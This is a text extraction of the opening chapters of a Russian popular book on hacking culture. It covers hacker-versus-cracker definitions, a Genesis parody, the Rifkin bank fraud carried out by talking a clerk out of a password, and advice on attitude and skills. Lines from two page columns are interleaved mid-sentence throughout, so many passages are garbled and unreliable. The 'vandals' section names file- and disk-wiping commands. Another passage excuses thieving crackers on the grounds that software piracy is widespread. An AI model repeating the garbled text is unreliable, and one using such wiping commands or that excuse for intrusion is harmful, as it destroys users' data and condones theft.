Вы находитесь на странице: 1из 160

Максим Левин УДК 004.

056
ББК 32.973.202
Л36

Как стать хакером Левин М.


Л36 Как стать хакером: Интеллектуальное руководство по хакингу
Интеллектуальное руководство и фрикингу / Максим Левин. — 3е изд. — М.: Бук-преcc,
2006. — 320 с.
по хакингу и фрикингу
издание третье, дополненное и исправленное Хакинг — это искусство взлома всевозможных систем и доведения данного
процесса до высот технического изящества. После 2000 года понятие «хакер»
окончательно изменилось. Это связано с появлением «хакероввандалов». Нет,
не хакеров, в изначальном понимании этого слова, но называющими себя имен
но так, а так называемых взломщиков — крэкеров.
Хакерский взгляд на мир не ограничивается лишь культурой хакеровпро
граммистов. Есть люди, применяющие хакерский подход и к другим вещам,
вроде электроники или музыки. В действительности вы можете встретиться
с этим подходом на высших уровнях любой науки или искусства. Софтверные
хакеры признают таких близких по духу людей и тоже могут называть их «хакера
ми», некоторые даже провозглашают, что хакерская природа на самом деле не за
висит от среды, в которой работает хакер. В этой книге мы сосредоточимся
на навыках и подходах софтверных хакеров, а также на традициях той общей
культуры, что породила термин «хакер».
Также вы узнаете о дефектах в системе безопасности, автор поделится с вами
мыслями о хакинге, введет вас в хакинг UNIX и ftpd и анонимный ftp, вы узнае
те, как зарегистрироваться под чужим именем, «троянских конях», о хакинге и
Internet, ложных DNSзапросах в Internet и о многих других интересных вещах.
В книге весьма подробно описаны применяемые хакерами программы
и инструменты, стратегии взлома, методы создания надежной и эффективной
защиты от атак хакеров, подробно обсуждаются различные факторы, влияющие
на защиту сети, приведены конкретные рекомендации по созданию различных
систем безопасности и примеры конкретных атак хакеров. Значительное внима
ние уделено описанию систем взлома Windows NT, Linux и Unix и специфиче
ским для этих систем методам вторжения.
В общем, эта книга посвящена российскому хакерскому сообществу. Его
этике, юмору, жаргону, ну и, конечно, методам работы. Своей задачей автор
не ставит обучать читателя искусству хакинга — речь идет об исключительно
просветительных целях для тех, кто привык изучать все «самопалом» и так соби
рается продолжать. Здесь собраны материалы, переведенные и обработанные
различными хакерами. Переработка в соответствии со стилистикой русского
языка порой исказила текст, но не технические термины, которые местами
Москва остались не переведенными. Тем, кто желает стать «киллером на чате» или
«изгаляться» подругому, автор советует обращаться к источникам более «ком
петентным» и рискует повториться, что эта книга предназначена для вдумчивых
и решительных.
УДК 004.056
ББК 32.973.202

© Левин М., 2006


Бук-пресс © ООО «Литературное агентство «БУКПресс», 2006
2006
Вместо вступления... 3 4 Вначале было слово...

Вместо вступления, или Вначале было слово...


несколько слов от автора
Вначале было слово, и слово было 2 байта, а больше ничего не
было.
Я — хакер. То есть я люблю забавляться с компьютерами: работать И отделил Бог единицу от нуля, и увидел, что это хорошо.
на них, изучать их и писать умные компьютерные программы. Я — не взлом
щик программной защиты и не делаю практики из ломки компьютерной за И сказал Бог: да будут данные, и стало так.
щиты. И сказал Бог: да соберутся данные каждые в свое место, и создал
Нет ничего позорного в хакинге, которым занимаюсь я. Но когда я го дискеты, и винчестеры, и компактдиски.
ворю, что я — хакер, люди думают, что я позволяю себе делать нечто про И сказал Бог: да будут компьютеры, чтобы было куда пихать дис
тивозаконное, потому что средства массовой информации неправильно кеты, и винчестеры, и компактдиски, и сотворил компьютеры, и нарек
употребляют слово «хакер» и создают впечатление, что оно означает «пре их хардом, и отделил хард от софта.
рыватель защиты» (cracker) и ничего другого. Таким образом они делают
хакерам плохой имидж. Софта же еще не было, но Бог быстро исправился, и создал про
граммы большие и маленькие, и сказал им: плодитесь и размножайтесь,
Самое грустное в том, что эта проблема увековечивается преднаме и заполняйте всю память.
ренно. Многие знают различие между «хакером» и «крекером». Но большин
ство людей употребляет слово «хакер» с оскорбительным оттенком. Пусть Hо надоело Ему создавать программы самому, и сказал Бог: созда
будет так… Но если бы я был тем, кем вы меня считаете, то я должен в дим программиста по образу и подобию нашему, и да владычествует над
ответ взломать ваш компьютер и разрушить его. Но я — хакер, а не крекер. компьютерами, и над программами, и над данными. И создал Бог про
Я не делаю таких вещей! У меня есть достаточно компьютеров, чтобы за граммиста, и поселил его в своем ВЦ, чтобы работал в нем. И повел Он
ниматься ими дома, на работе; и я не нуждаюсь в вашем. Кроме того, программиста к дереву каталогов, и заповедал: из всякого каталога мо
это — не мой способ ответа на оскорбления. Мой ответ — эта книга. жешь запускать программы, только из каталога Windows не запускай, ибо
маст дай.
Вы задолжали хакерам извинения; но более этого, вы должны про
явить порядочное отношение к нам. И сказал Бог: не хорошо программисту быть одному, сотворим ему
пользователя, соответственно ему. И взял Он у программиста кость, в ко
Искренне ваш, ей не было мозга, и создал пользователя, и привел его к программисту; и
Максим Левин... нарек программист его юзером. И сидели они оба под голым ДОСом и не
стыдились.
Билл был хитрее всех зверей полевых. И сказал Билл юзеру: под
линно ли сказал Бог: не запускайте никакого софта?
И сказал юзер: всякий софт мы можем запускать, и лишь из ката
лога Windows не можем, ибо маст дай.
И сказал Билл юзеру: давайте спорить о вкусе устриц с теми, кто
их ел!
В день, когда запустите Windows, будете как боги, ибо одним кли
ком мышки сотворите что угодно. И увидел юзер, что винды приятны для
глаз и вожделенны, потому что делают ненужным знание, и поставил их
Вначале было слово... 5 6 Основы

на свой компьютер; а затем сказал программисту, что это круто, и он то


же поставил. Основы
И отправился программист искать свежие драйвера, и воззвал Бог
к программисту и сказал ему: где ты? Программист сказал: ищу свежие
драйвера, ибо нет их под голым ДОСом. И сказал Бог: кто тебе сказал про
драйвера? Уж не запускал ли ты винды? Программист сказал: юзер, кото Глава 1.
рого Ты мне дал, сказал, что отныне хочет программы только под винды,
и я их поставил. Кто такой хакер?
И сказал Бог юзеру: что это ты сделал? Юзер сказал: Билл обо В этой книге вы найдете кучу определений для термина «хакер»,
льстил меня. большинство которых связано с технической компетентностью и удо
И сказал Бог Биллу: за то, что ты сделал, проклят ты пред всеми вольствием, получаемым от решения проблем и преодоления преград.
скотами и всеми зверями полевыми, и вражду положу между тобою и Но если же вы хотите знать, как стать хакером, то действительно суще
программистом: он будет ругать тебя нехорошими словами, а ты будешь ственными являются два аспекта.
продавать ему винды. Имеется некоторое сообщество, некая общая культура, состоящая
Юзеру сказал: умножу скорбь твою и истощу кошелек твой, и бу из опытных программистов и сетевых чародеев, которая ведет свою исто
дешь пользоваться кривыми программами, и не сможешь прожить без рию от первых миникомпьютеров с разделением времени и от самых
программиста, и он будет господствовать над тобой. ранних экспериментов с сетью ARPAnet. Члены этой культуры и дали
рождение термину «хакер». Хакеры построили Internet. Хакеры сделали
Программисту же сказал: за то, что послушал юзера, прокляты операционную систему Unix тем, чем она является сегодня. Хакеры ведут
компьютеры для тебя; глюки и вирусы произведут они тебе; со скорбью Usenet. Хакеры обеспечивают работу World Wide Web. Если вы являетесь
будешь вычищать их во дни работы твоей; в поте лица своего будешь от частью этой культуры, если вы внесли в нее свой вклад и другие члены
лаживать код свой. И выслал Бог их из своего ВЦ, и поставил пароль на этой культуры знают, кто вы, и называют вас хакером, то вы — хакер.
вход.
Хакерский взгляд на мир не ограничивается лишь культурой хаке
General protection fault. ровпрограммистов. Есть люди, применяющие хакерский подход и к
другим вещам, вроде электроники или музыки. В действительности, вы
можете встретиться с этим подходом на высших уровнях любой науки
или искусства. Софтверные хакеры признают таких близких по духу лю
дей и тоже могут называть их «хакерами», некоторые даже провозглаша
ют, что хакерская природа на самом деле не зависит от среды, в которой
работает хакер. В этой книге мы сосредоточимся на навыках и подходах
софтверных хакеров, а также на традициях той общей культуры, что по
родила термин «хакер».
Имеется и другая группа людей, громко именующих себя хаке
рами, но они ими не являются. Это те люди (главным образом, молодежь
мужского пола), кого тягают за взлом компьютерных и телефонных
систем.
Настоящие хакеры называют таких людей «крэкерами» и не жела
ют иметь с ними ничего общего. Настоящие хакеры в большинстве сво
ем считают крэкеров ленивыми, безответственными и не особо умными.
То, что человек способен взломать систему безопасности, не делает его
Основы 7 8 Основы

хакером, точно так же как умение угонять тачки не делает вас автомо Однако было бы несправедливо мешать в одну кучу всех крэкеров,
бильным мастером. однозначно назвав их ворами и вандалами. По нашему мнению, всех
крэкеров можно разделить на три следующих класса, в зависимости от
К несчастью, многие журналисты и писатели введены в заблужде
цели, с которой осуществляется взлом: вандалы, «шутники» и професси
ние и используют слово «хакер» для описания крэкеров, и это бесконеч
оналы.
но раздражает настоящих хакеров.
Главное различие в следующем: хакеры строят вещи, а крэкеры их Вандалы
ломают. Вандалы — самая известная (во многом благодаря повседневности
Если вы хотите стать хакером, то продолжайте чтение. Если же вы вирусов, а также творениям некоторых журналистов) и, надо сказать, са
хотите стать крэкером, то отправляйтесь читать ньюзгруппу alt.2600 и мая малочисленная часть кракеров. Их основная цель — взломать систе
приготовьтесь отсидеть от пяти до десяти лет в тюрьме, когда обнаружи му для ее разрушения. К ним можно отнести, вопервых, любителей
те, что не настолько ловки, насколько полагали. команд типа: rm f d *, del *.*, format c: /U и т.д., и, вовторых, специали
стов в написании вирусов или троянских коней. Совершенно естествен
Хакеры но, что весь компьютерный мир ненавидит крэкероввандалов лютой не
навистью. Эта стадия крэкерства обычно характерна для новичков и
Это — Индивидуум, который получает удовольствие от изучения
быстро проходит, если крэкеру удается совершенствоваться (ведь до
деталей функционирования компьютерных систем и от расширения их
вольно скучно осознавать свое превосходство над беззащитными пользо
возможностей, в отличие от большинства пользователей компьютеров,
вателями).
которые предпочитают знать только необходимый минимум.
Крэкеров, которые даже с течением времени не миновали эту ста
Это — Энтузиаст программирования, получающий удовольствие
дию, а только все более совершенствовали свои навыки разрушения,
от самого процесса программирования, а не от теоретизирования по это
иначе, чем социальными психопатами, не назовешь.
му поводу.
Данная трактовка понятия «хакер» отличается от принятой в сред Шутники
ствах массовой информации, которые, собственно, и привели к подмене Шутники — наиболее безобидная часть крэкеров (конечно, в за
понятий. В последнее время многие специалисты по компьютерной бе висимости от того, насколько злые они предпочитают шутки), основная
зопасности начали аккуратнее относиться к этим терминам. цель которых — известность, достигаемая путем взлома компьютерных
систем и внесения туда различных эффектов, выражающих их неудовле
Крэкеры творенное чувство юмора. «Шутники» обычно не наносят существен
Низменность мотивов крэкеров приводит к тому, что 9 из 10 из ный ущерб (разве что моральный). На сегодняшний день в Internet это
них являются «чайниками», которые взламывают плохо администриру наиболее распространенный класс кракеров, обычно осуществляющих
емые системы, в основном благодаря использованию чужих программ взлом Webсерверов, оставляя там упоминание о себе. К «шутникам»
(обычно эти программы называются exploit). (Причем это мнение тех са также можно отнести создателей вирусов с различными визуальнозву
мых 10% профессиональных крэкеров). ковыми эффектами (музыка, дрожание или переворачивание экрана,
рисование всевозможных картинок и т.п.). Все это, в принципе, либо
Эти профессионалы — бывшие хакеры, ставшие на путь наруше невинные шалости начинающих, либо — рекламные акции профессио
ния закона. Их, в отличие от крэкеров«чайников», остановить действи налов.
тельно очень сложно, но, как показывает практика, отнюдь не невоз
можно (для примера вспомним противоборство Митника и Шимомуры).
Взломщики
Очевидно, что для предотвращения возможного взлома или устра Взломщики — профессиональные крэкеры, пользующиеся наи
нения его последствий требуется пригласить квалифицированного спе большим почетом и уважением в крэкерской среде, основная задача ко
циалиста по информационной безопасности — профессионального торых — взлом компьютерной системы с серьезными целями, будь то
хакера.
Основы 9 10 Основы

кража или подмена хранящейся там информации. В общем случае, для торые выявляют слабые места в том или ином сетевом продукте и помо
того, чтобы осуществить взлом системы, необходимо пройти три основ гают тем самым определять скрытые дефекты техники и недоработки
ные стадии: исследование вычислительной системы с выявлением изъя программ. Сторонники данного мнения часто оперируют тем фактом,
нов в ней, разработка программной реализации атаки и непосредствен что на раннем этапе развития компьютерной индустрии понятие «хакер»
ное ее осуществление. Естественно, настоящим профессионалом можно определялось как «программистфанатик, виртуоз, эксперт по програм
считать того крэкера, который для достижения своей цели проходит все мам». В принципе, с этим определением можно согласиться. Однако не
три стадии. будем забывать, что к положительному «портрету» хакера добавились
сегодня новые черты, которые не согласуются с обликом благородного
С некоторой натяжкой также можно считать профессионалом то
рыцаря.
го крэкера, который, используя добытую третьим лицом информацию об
уязвимости в системе, пишет программную реализацию данной уязви Если вы откроете книгу рекордов Гиннеса, то на одной из ее стра
мости. Осуществить третью стадию, очевидно, может в принципе каж ниц, рядом с именами убийц и маньяков, можно увидеть начертанную
дый, используя чужие разработки. Но то, чем занимаются взломщики, — мелким шрифтом фамилию американца С. М. Рифкина, ставшего пер
это обычное воровство, если абстрагироваться от предмета кражи. К со вым компьютерным мошенником, зарегистрированным официально,
жалению, у нас, в России, все не так просто. В стране, где большая часть т.е. решением суда. Повышенный интерес к личности С. М. Рифкина
программного обеспечения, используемого каждым пользователем, яв вызван тем, вероятно, что уголовные дела над злоумышленниками встре
ляется пиратской, то есть украденной не без помощи тех же взломщиков, чаются редко. И тем более понятен интерес к личности первого офици
почти никто не имеет морального права «бросить в них камень». Конеч ального хакера!
но, взлом компьютерных систем с целью кражи ни в коем случае нельзя
Процесс по делу 32летнего американского гражданина Рифкина,
назвать достойным делом, но и упрекать крэкероввзломщиков могут
рискнувшего сорвать запретный плод на ниве компьютерного кримина
только те, кто легально приобрел все используемое программное обеспе
ла, состоялся в середине 70х годов, в эпоху «мэйнфреймов». Дело обсто
чение.
яло так.
До сих пор мы все время рассматривали хакеровкрэкеров с пози
Господин Рифкин был владельцем небольшой фирмы, которая
ций распределенных систем, но не нужно забывать, что самая многочис
специализировалась на платных консультациях по вопросам компьютер
ленная категория крэкеров занимается более обыденными вещами, а
ной техники. Он хорошо знал вычислительные системы своих клиентов.
именно: снятием защиты с коммерческих версий программных продук
В частности, ему была знакома система автоматизированных платежей
тов, изготовлением регистрационных ключей (registration key) для услов
в Тихоокеанском национальном банке в городе ЛосАнджелесе.
нобесплатных программ и т.п.
Однажды Рифкин явился в вычислительный центр этого банка;
Электронные взломщики служебный вход был открыт. Рифкин выдал себя за представителя госу
Цель, которую преследует обыкновенный вор или мошенник, до дарственной ревизионной службы и поинтересовался у одного из работ
статочно проста. Как правило, его привлекают наличные деньги или ма ников банка, какой пароль действовал в тот день для передачи денежных
териальные ценности, которые можно легко продать. Правда, существу сумм между банком и его партнерами. Служащий, не задумываясь, на
ют умельцы, которые взламывают сейфы и угоняют автомобили звал секретный пароль, менявшийся ежедневно.
исключительно — по их словам — из «любви к искусству». Но в искрен В тот же день Рифкин позвонил в банк с телефонаавтомата, под
ность таких признаний чтото не верится! именем одного из сотрудников. Он назвал пароль и попросил перевести
С хакерами дело обстоит сложнее. Хотя бы потому, что образ на счет (открытый им специально для этой преступной цели) «круглую»
«виртуального» взломщика не согласуется с привычным образом крими сумму в $10 млн. Удивительно, но через некоторое время мошенник спо
нального элемента — слишком уж сильно выделяется интеллектуальный койно получил деньги и скрылся. Полиции пришлось немало потрудить
уровень хакера, и его знания в области компьютерной техники кажутся ся, чтобы заманить преступника обратно, на территорию Соединенных
просто феноменальными! Некоторые пользователи вполне резонно счи Штатов, и арестовать. Однако еще труднее оказалось, как ни странно,
тают, что хакеры — это своеобразные санитары компьютерных сетей, ко убедить руководство Тихоокеанского банка подать исковое заявление в
суд. Обманутые клерки упорно отрицали факт преступления; они ут
Основы 11 12 Основы

верждали, что в их компьютерном «хозяйстве» все нормально — по край Глава 2.


ней мере, «ни компьютеры, ни люди не ошибаются!»
В финале этой истории Рифкин получил 8 лет тюрьмы, а в Тихо
Хакерский подход
океанском банке была проведена серьезная реорганизация. В частности, Хакеры решают проблемы и строят вещи, они верят в свободу
был заметно усилен контроль над вкладами, а у дверей автоматизирован и в добровольную взаимопомощь. Для того, чтобы вас воспринимали
ного пункта платежей появился вооруженный охранник. как хакера, вы должны вести себя так, как если бы это была ваша соб
Самое удивительное, что за годы, прошедшие с момента суда над ственная позиция. А для того, чтобы вести себя так, будто это ваша пози
Рифкиным, в отношениях между полицией и банками мало что измени ция, вы должны действительно верить в эту позицию.
лось. Но если вы рассчитываете культивировать хакерские подходы
Как раньше, так и сегодня пострадавшие от хакеров финансовые лишь для получения признания в культуре, то вы упустили суть. Стать та
учреждения крайне неохотно соглашаются на официальные расследова ким человеком, кто верит в подобные вещи, — это важно для вас, потому
ния. В чем тут дело? Оказывается, клерки просто боятся огласки! Любой что это поможет вам научиться и поддержит стремление. Как и в любом
банкир, уважающий себя и свой бизнес, глубоко обеспокоен репутацией творчестве, самый эффективный способ стать мастером — это подражать
своей фирмы. А поскольку в деловом мире ценится, прежде всего, на мировоззрению мастеров, не только интеллектуально, но также и эмоци
дежность и респектабельность, то есть полный резон молчать о своих онально.
проблемах. Подумайте, о какой надежности может идти речь, когда Так что если вы хотите стать хакером, то повторяйте следующие
в компьютерной системе банка «пасутся» хакеры?! вещи, пока не поверите в них:
На поверхность всплывают, как правило, самые «громкие» и на ◆ Мир полон пленительных проблем, ждущих своего
глые преступления. В начале 90х годов, например, в средствах массовой решения.
информации появилось сообщение о грандиозном шантаже, предприня
том неизвестными лицами в отношении (ни много ни мало) сразу пяти Быть хакером — это огромное удовольствие, но это удовольствие
ведущих британских банков! такого рода, которое требует массы усилий. Для таких усилий нужна мо
тивация. Атлетычемпионы черпают мотивацию из своего рода физиче
Шантажисты требовали крупных денежных сумм. Они убежденно ского удовольствия, получаемого от доведения собственного тела до со
заявляли, что знают путь в компьютерные системы каждого из пяти бан вершенства, от преодоления собственных физических пределов.
ков. В знак серьезности своих целей преступники демонстрировали, как
ловко они умеют проникать в компьютерные системы, которые, каза Подобно этому, чтобы быть хакером, вы должны получать макси
лось, были надежно защищены. Действия хакеров вызвали сильнейшее мум удовольствия от решения проблем, от оттачивания своих навыков,
беспокойство руководителей банков (ведь повреждение компьютерной от тренировки своего интеллекта.
системы требует огромных денежных средств на восстановление!). И, ра Если же вы не из тех, кто ощущает подобные вещи естественным
зумеется, руководители банков наотрез отказывались от какихлибо образом, то вам понадобится стать таким, чтобы сделаться хакером.
комментариев по поводу шантажа. В противном случае вы обнаружите, что вся ваша хакерская энергия ис
Практика замалчивания не дает возможности получить полную черпана такими раздражителями, как секс, деньги и успех в обществе.
и достоверную статистику о хакерских преступлениях; количество «взло Вы также должны развить чтото вроде веры в ваши собственные
мов», наверняка, больше, чем отражено в криминальных сводках! способности к обучению. Веры в то, что даже если вы, возможно, и не
А теперь обратимся еще разок к делу С. М. Рифкина. Надо заме знаете всего, что необходимо для решения проблемы, но если вы осво
тить, что уровень организации этого преступления вполне соответство или лишь кусочек и на этом научились, то уже знаете достаточно, чтобы
вал уровню развития компьютерных средств 70х годов. Нетрудно дога решить и следующий кусок — и так далее, пока все не будет сделано.
даться, что с развитием компьютерной техники «арсеналы» хакеров ◆ Никто и никогда не должен решать проблему дважды.
пополнились новыми мощными средствами.
Основы 13 14 Основы

Творческие мозги — это ценный и ограниченный ресурс. Не сле сражаться всюду, где вы его встретите, дабы он не душил вас и других
дует растрачивать их на переизобретение колеса, когда вокруг ожидает хакеров.
так много чудеснейших новых проблем.
Это не то же самое, что сражаться со всеми властями. Детям нуж
Чтобы вести себя как хакер, вы должны верить, что время размы но руководство, преступность необходимо сдерживать. Хакер может со
шлений других хакеров — драгоценно, причем настолько, что почти мо глашаться на принятие какогото рода руководства, когда есть возмож
ральным долгом для вас является поделиться информацией. Решить про ность получить то, что нужно, и не особо много времени тратится на
блемы, а затем просто раздать решения, чтобы другие хакеры могли выполнение приказов. Но это ограниченная разумная сделка, чтото
решать новые проблемы вместо того, чтобы беспрестанно возвращаться вроде личной уступки.
к старым.
Авторитаризм процветает в условиях цензуры и секретности. Его
От вас не требуется верить, что вы обязаны раздать все плоды сво адепты не верят в добровольное сотрудничество и в деление информаци
его творчества, хотя те хакеры, кто так делает, — наиболее уважаемы сре ей, им нравится только такое «сотрудничество», которым руководят они.
ди других хакеров. С ценностями хакеров вполне согласуется продажа Поэтому, чтобы вести себя как хакер, вы должны выработать в себе ин
плодов творчества, достаточная для обеспечения вас пищей, кровом и стинктивное неприятие цензуры, секретности, а также применения силы
компьютерами. Согласуется это и с использованием ваших хакерских или лжи для принуждения ответственных взрослых людей. И действо
навыков для поддержания семьи и даже для того, чтобы разбогатеть, по вать необходимо исходя из такой веры.
ка, занимаясь этим, вы не забываете, что являетесь хакером.
◆ Позиция не заменит компетентность.
◆ Скука и рутина — это зло.
Для того, чтобы быть хакером, вы должны развить в себе некото
Хакеры (и вообще творческие люди) никогда не должны зани рые из перечисленных подходов. Но, ухватив лишь подход, вы сделаетесь
маться скучными вещами или погрязать в рутине монотонной работы, хакером не в большей степени, чем спортсменомрекордсменом или
потому что когда это происходит, то это означает, что они не делают то рокзвездой. Для того, чтобы стать хакером, требуются интеллект, прак
го, что могут делать лишь они, — решать новые проблемы. Подобное рас тика, самоотверженность и тяжкий труд.
точительство вредит каждому. Поэтому скука и рутина — это не просто
Поэтому вам придется научиться с недоверием относится к пози
неприятные вещи, это зло.
ции, но с уважением к компетентности любого рода. Хакеры не позволят
Чтобы вести себя как хакер, вы должны верить в это так, чтобы же позерам транжирить их время, но они поклоняются компетентности,
лать автоматизации всех скучных мелочей настолько, насколько возмож особенно хакерской компетентности, но компетентность хороша в чем
но, и не только для себя, но и для всех остальных (особенно для других угодно. Особо ценится обладание такими необходимыми навыками, ко
хакеров). торые мало у кого есть. А самое лучшее — это компетентность в таких на
выках, которые требуют проницательного ума, сноровки и концентра
Но иногда хакеры занимаются вещами, которые могут показаться
ции.
монотонными или скучными стороннему наблюдателю, в качестве
упражнения для прочистки мозгов или же для выработки навыка. Либо Если вы боготворите компетентность, то вы получаете наслажде
же для приобретения особого рода опыта, который невозможно получить ние, развивая ее в себе. Тяжкий труд и преданность делу станут для вас
иным путем. Но все это делается по собственному выбору, никто из уме захватывающей игрой, а не рутиной. И это жизненно необходимо для то
ющих думать никогда не должен принуждаться к скучной работе. го, чтобы стать хакером.
◆ Свобода — это благо.
Хакеры по самой своей природе антиавторитарны. Любой, кто Глава 3.
может отдавать вам приказания, может остановить решение вами лю Основные навыки хакера
бой из проблем, вас очаровавших. И, учитывая образ мышления авто
ритарных мозгов, найдутся какиенибудь потрясающе идиотские при Хакерский взгляд на жизнь — это важно, но мастерство — много
чины, чтобы это сделать. Так что с авторитарным подходом следует кратно важнее. Позиция не заменит компетентности, и существует опре
Основы 15 16 Основы

деленный набор базовых навыков, которыми вам необходимо обладать, Мы не можем дать здесь развернутые инструкции относительно
прежде чем любой из хакеров помыслит назвать хакером и вас. того, как научиться программировать, — это сложное искусство. Но мо
жем сказать вам, что книги и курсы этому не научат (многие, возможно,
Этот базовый набор со временем потихоньку изменяется по мере
большинство лучших хакеров — это самоучки). Что этому учит, так это
того, как технология порождает новые навыки и делает ненужными уста
чтение кодов и написание кодов.
ревшие. Например, обычно упоминалось программирование на машин
ном языке, но, вплоть до недавнего времени, в набор не включали язык Научиться программировать — это как научиться писать хорошим
HTML. Однако в сегодняшний комплект вполне определенно входят естественным языком. Самый лучший способ для этого — почитать
следующие компоненты: чтото из написанного мастерами, затем написать немного самому; про
честь побольше, написать немного побольше; прочитать еще больше, на
◆ Научитесь программировать.
писать еще побольше... И повторять этот процесс до тех пор, пока ваши
Это, конечно же, фундаментальный хакерский навык. Если вы не программы не разовьются в нечто мощное и экономичное.
знаете ни одного компьютерного языка, рекомендуем начать с языка
Отыскать хорошие коды для чтения раньше было сложно, потому
Python. Он понятно разработан, хорошо документирован и относительно
что было очень мало больших программ, доступных в исходных кодах и
доброжелателен к новичкам. Несмотря на то, что он хорош для первого
пригодных для изучения и возни юных хакеров. Ныне ситуация карди
языка, это не просто игрушка. Это очень мощный и гибкий язык, хоро
нально изменилась: программы в исходных кодах, программистский ин
шо подходящий для больших проектов.
струментарий и операционные системы (все это создано хакерами) те
Но знайте, что вы не достигнете хакерского уровня мастерства перь широко доступны. Поэтому…
(или даже просто уровня хорошего программиста), если будете знать
◆ Достаньте один из вариантов Unix в исходных кодах,
лишь один язык. Вам необходимо научиться мыслить о проблемах про
научитесь его использовать и с ним работать.
граммирования вообще, независимо от любого конкретного языка. Что
бы быть настоящим хакером, вам надо достичь уровня, на котором вы Полагаем, что вы имеете персональный компьютер или можете
сможете выучить новый язык за несколько дней, соотнося положения получить к нему доступ. Единственный и самый важный шаг, который
руководства с тем, что вам уже известно. Это означает, что вам следует любой из новичков может предпринять для приобретения хакерских на
выучить несколько очень разных языков. выков, — это раздобыть копию Linux или одной из версий BSDUnix, ус
тановить ее на персональной машине и запустить.
Если вы занимаетесь серьезным программированием, то вам при
дется выучить Си, основной язык операционной системы Unix (хотя это Да, в мире есть и другие операционные системы, помимо Unix. Но
и не тот язык, который следует пытаться выучить первым). Другие языки их распространяют в двоичном виде — вы не сможете читать коды и не
первостепенной важности для хакеров — это Perl и LISP. Язык Perl име сможете их модифицировать. Учиться хакерству на машинах, работа
ет смысл выучить из практических соображений: он очень широко ис ющих под DOS, Windows или MacOS — это все равно, что учиться танце
пользуется для активных webстраниц и системного администрирова вать полностью загипсованным.
ния, так что даже если вам никогда не придется писать на Perl, вы
Кроме того, Unix — это операционная система Internet. Хотя вы
должны научиться его читать. LISP стоит выучить ради тех глубоких про
можете научиться использовать Internet и не зная Unix, но вы не можете
свещенных познаний, которые вы обретете, когда наконец его освоите.
быть Internetхакером, не понимая Unix. По этой самой причине сего
Эти познания сделают вас прекрасным программистом на всю оставшу
дняшняя хакерская культура является весьма сильно Unixсконцентри
юся жизнь, даже если вы никогда особо и не будете использовать сам
рованной. (Это не всегда было так, и некоторым из прежних хакеров та
LISP.
кое положение дел не очень по нраву, но симбиоз между Unix и Internet
Лучше всего, на самом деле, выучить все четыре этих языка (Py стал настолько прочен, что даже сил Microsoft не хватает, чтобы серьезно
thon, C, Perl, и LISP). Помимо того, что это самые важные хакерские на это влиять.)
языки, они демонстрируют очень разные подходы к программированию,
Так что заводите себе Unix, лучше всего Linux, но есть и другие ва
и каждый из них научит вас ценным вещам.
рианты (и дада, вы можете работать как под Linux, так и под DOS/
Основы 17 18 Основы

Windows на одной и той же машине). Выучите эту ОС. Работайте с ней. Таким образом, когда вы играете в хакерские игры, вы учитесь
Возитесь с ней. Общайтесь через нее с Internet. Читайте коды. Модифи вести счет главным образом по тому, что думают о вашем мастерстве дру
цируйте их. Вы получите такой программистский инструментарий гие (именно поэтому вы не будете хакером до тех пор, пока вас не станут
(включая C, Lisp и Perl), о котором любая из ОС Microsoft и не мечтала. так называть другие хакеры). Данный факт затеняют как образ хаке
Вы получите удовольствие, и вы усвоите больше знаний, чем предпола раодиночки, так и определенные табу хакерской культуры (ныне суще
гали в процессе обучения, когда оглянетесь на этот процесс уже будучи ственно ослабевшие, но все еще мощные), не допускающие, чтобы
мастеромхакером. чьето эго или внешнее признание вообще могли бы быть мотивацией
для хакера.
◆ Научитесь использовать World Wide Web и писать на
HTML. В частности, Хакерландия — это то, что антропологи именуют
«культурой даров». Вы зарабатываете статус и репутацию не тем, что ру
Большинство из тех вещей, что созданы хакерской культурой, де
ководите другими людьми, и не тем, что прекрасны, и не тем, что имеете
лают свое дело невидимо, помогая работать фабрикам, учреждениям и
вещи, которые являются предметом вожделения других. Но скорее тем,
университетам без скольконибудь заметного влияния на жизнь нехаке
что раздаете вещи. В частности, одаривая своим временем, своим мас
ров. WWW — это одно большое исключение, гигантская блестящая ха
терством и результатами своего творчества.
керская игрушка, которая даже по признанию политиков изменяет мир.
Лишь по одной этой причине (а также и множеству других приятных Есть пять основных типов вещей, которые вы можете делать, что
причин) вам следует научиться работать с Web. бы вас уважали хакеры:
Это не означает, что нужно просто научиться управляться с брау ◆ Пишите программы с открытым исходным кодом.
зером (это любой умеет), но научиться писать на HTML, языке разметки
Первое (самое главное и самое традиционное) — это писать про
документов Web. Если вы еще не умеете программировать, то писание на
граммы, которые другие хакеры считают забавными или полезными, и
HTML обучит ваше мышление некоторым полезным привычкам, кото
раздавать исходные коды программ для использования всей хакерской
рые пригодятся при освоении языков программирования. Так что делай
культурой.
те домашнюю страничку.
Мы привыкли называть такую работу «свободнодоступным про
Но простое обладание домашней страничкой даже и близко не
граммным обеспечением» (free software), но это привело в замешатель
подведет вас к тому, чтобы стать хакером. В Web полнымполно домаш
ство очень многих людей, точно не понимавших, что подразумевалось
них страничек. Большинство из них — это бессмысленный, бесполезный
под словом «свободнодоступное». Теперь для такого программного
хлам. Крайне броско и привлекательно оформленный хлам, бесспорно,
обеспечения многие из нас предпочитают использовать термин «с от
но все равно хлам.
крытым исходным кодом», или «opensource software».
Чтобы быть стоящей, ваша страничка должна иметь «контент» —
Наиболее почитаемые полубоги Хакерландии — это люди, кото
содержание. Она должна быть интересной и/или полезной для других ха
рые написали большие и талантливые программы, отвечающие самым
керов.
широким потребностям, и которые раздали их всем, так что каждый те
перь их использует.
Глава 4. ◆ Помогайте тестировать и отлаживать программы
Статус в хакерской культуре с открытым исходным кодом.
Почитаемы также те, кто тестирует и отлаживает программы с от
Как и большинство культур без денежной экономики, Хакерлан крытым кодом. В этом несовершенном мире мы неизбежно затрачиваем
дия строится на репутации. Вы пытаетесь решить интересные проблемы, самую большую часть времени разработки программы на фазу отладки.
но вот насколько они интересны и насколько в действительности хоро Именно поэтому любой думающий автор программ с открытым кодом
ши ваши решения, — это нечто такое, о чем обычно могут судить только скажет вам, что хорошие бетатестеры (знающие, как внятно описать
(в техническом смысле) равные вам или превосходящие вас. симптомы, хорошо локализующие проблемы, способные исправлять
Основы 19 20 Основы

опечатки и применяющие несколько простых диагностических подпро Но остерегайтесь: хакеры настороженно относятся к своим крик
грамм) ценятся на вес золота. Всего один такой человек может превра ливым племенным старейшинам, так что видимое достижение такого
тить фазу отладки из затянутого изнуряющего кошмара в просто полез рода славы таит в себе опасность. Вместо того, чтобы стремиться к
ную задержку. этому, вам лучше как бы не заботиться об этом, и тогда это само упадет
на колени, а уж затем можно быть скромным и милостивым в своем ста
Если вы новичок, то попытайтесь найти разрабатываемую про
тусе.
